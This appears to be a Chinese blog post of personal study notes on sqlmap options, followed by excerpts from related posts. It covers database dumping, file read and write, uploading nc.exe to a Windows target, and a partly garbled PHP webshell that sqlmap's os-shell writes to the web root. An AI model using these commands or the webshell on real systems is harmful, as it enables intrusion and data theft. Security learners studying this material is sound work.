藉著複習mysql的機會再重新複習一下sqlmap,因為引數太多了,我只記錄一下自己常用的命令,如果想看詳細大全,可以看一下大佬們的完整版
文章參考
-h,--help 顯示基本幫助資訊並退出
-hh 顯示高階幫助資訊並退出
--version 顯示程式版本資訊並退出
在這些選項中必須提供至少有乙個確定目標
-u 目標url
例:sqlmap -u "www.abc.com/index.php?id=1"
-m 後接乙個txt檔案,檔案中是多個url,sqlmap會自動化的檢測其中的所有url。
例:sqlmap -m target.txt
-r 可以將乙個post請求方式的資料報(bp抓包)儲存在乙個txt中,sqlmap會通過post方式檢測目標。
例:sqlmap -r bp.txt
這些選項可以用來指定如何連線到目標url
--method=method 指定是get方法還是post方法。
例: --method=get --method=post
--random-agent 使用隨機user-agent進行測試。sqlmap有乙個檔案中儲存了各種各樣的user-agent,檔案在sqlmap/txt/user-agent.txt 在level>=3時會檢測user-agent注入。
--proxy=proxy 指定乙個**。
例: --proxy="127.0.0.1:8080" 使用goagent**。
這些選項可用於指定要測試的引數、提供自定義注入有效載荷和可選的篡改指令碼。
-p 測試引數
例: sqlmap -r bp.txt -p "username"
--skip-static 跳過測試靜態引數(有的時候注入有多個引數,那麼有些無關緊要的引數修改後頁面是沒有變化的)
--no-cast 獲取資料時,sqlmap會將所有資料轉換成字串,並用空格代替null。(這個在我們注入失敗的時候偶爾會見到,提示嘗試使用--no-cast)
--tamper=tamper 使用sqlmap自帶的tamper,或者自己寫的tamper,來混淆payload,通常用來繞過waf和ips。
這些選項可以用來指定在sql盲注時如何解析和比較http響應頁面的內容
--level=level 執行測試的等級(1-5,預設為1)
lv2:cookie; lv3:user-agent,refere; lv5:host
在sqlmap/xml/payloads檔案內可以看見各個level傳送的payload 我常使用--level 3
--risk=risk 執行測試的風險(0-3,預設為1)
risk 2:基於事件的測試;risk 3:or語句的測試;risk 4:update的測試
公升高風險等級會增加資料被篡改的風險。 常用就是預設1
這些選項可以用來列舉後端資料庫管理系統的資訊、表中的結構和資料。 脫庫時使用
-b, --banner 獲取資料庫管理系統的標識
--current-user 獲取資料庫管理系統當前使用者
--current-db 獲取資料庫管理系統當前資料庫
--hostname 獲取資料庫伺服器的主機名稱
--is-dba 檢測dbms當前使用者是否dba
--users 列舉資料庫管理系統使用者
--passwords 列舉資料庫管理系統使用者密碼雜湊
--privileges 列舉資料庫管理系統使用者的許可權
--dbs 列舉資料庫管理系統資料庫
--tables 列舉dbms資料庫中的表
--columns 列舉dbms資料庫表列
-d 要進行列舉的指定資料庫名
-t 要進行列舉的指定表名
-c 要進行列舉的指定列名
--dump 轉儲資料庫表項,查詢字段值
--search 搜尋列(s),表(s)和/或資料庫名稱(s)
--sql-query=query 要執行的sql語句
--sql-shell 提示互動式sql的shell
這些選項可以被用來訪問後端資料庫管理系統的底層檔案系統
--file-read=rfile 從後端的資料庫管理系統檔案系統讀取檔案
--file-write=wfile 編輯後端的資料庫管理系統檔案系統上的本地檔案
--file-dest=dfile 後端的資料庫管理系統寫入檔案的絕對路徑
在kali中將/software/nc.exe檔案上傳到c:/windows/temp下:
python sqlmap.py -u"" --file-write="/software/nc.exe" --file-dest="c:/windows/temp/nc.exe"
這些選項可以用於訪問後端資料庫管理系統的底層作業系統
--os-cmd=oscmd 執行作業系統命令(oscmd)
--os-shell 互動式的作業系統的shell
os-shell的原理
文章參考
當我們執行--os-shell的時候,首先要選擇語言(預設為php)
然後需要輸入**的絕對路徑,我的是預設目錄/var/www/html/選1,如果需要自己輸入的話選2
然後在/var/www/html下會多出兩個php檔案,這兩個php檔案就是--os-shell寫入的shell檔案
我們看一下內容
tmputade.php
<?php
if (isset($_request["upload"]))
else
@chmod($dir."/".$file,0755);echo "file uploaded";
}else
?>
實現的就是上傳檔案,同時根據phpversion,將上傳的檔案的許可權進行修改。 (大概作用就是用來判斷php版本?否則直接寫入下面的執行指令碼就好了,這個上傳指令碼不是多此一舉嗎?)
tmpbixkl.php
<?php
$c=$_request["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time",0);
$z=@ini_get("disable_functions");
if(!empty($z))
else
$c=$c." 2>&1\n";
function f($n)
if(f("system"))
elseif(f("proc_open"))
@proc_close($y);
}elseif(f("shell_exec"))
elseif(f("passthru"))
elseif(f("popen"))
} @pclose($x);
}elseif(f("exec"))
else
echo"$w
";?>
上述**實現了os-shell得到了命令後,如何執行命令以及輸出執行結果到os-shell中 。
os-shell使用條件
網上說的都是這三個條件,可是我三個條件都滿足了仍然無法使用os-shell,後來發現雖然資料庫是root@localhost許可權但是往系統裡寫檔案時的許可權是mysql而不是root
/var/www/html預設許可權是755,除了root使用者其他使用者沒有寫的許可權,就無法將上面的兩個php檔案寫入目錄裡,所以使用條件只有這3個就可以嗎?還是因為什麼原因?這個還沒想明白,先記錄一下這個問題。
SQLMap引數命令
sqlmap引數命令 method 指定使用的http方法 data 提交post資料並對post資料進行測試 param del 分隔符 指定引數的分隔符 cookie 新增cookie http請求頭 headers 新增http請求頭,不同的頭使用 n 分隔 auth type和 auth c...
sqlmap命令簡單總結
sqlmap詳細命令 options 選項 sqlmap u http url news?id 1 dbs o sqlmap.log 儲存進度 sqlmap u http url news?id 1 dbs o sqlmap.log resume 恢復已儲存進度 target 目標 以下至少需要設定...
sqlmap基本操作命令
1.獲取資料庫相關資訊 python sqlmap.py u url 2.獲取資料庫內資訊,獲取資料庫內所有資料庫的名稱 python sqlmap.py u url dbs 3.獲取某個資料庫中表的資訊 python sqlmap.py u url d mys tables 4.獲取某個表內列的資...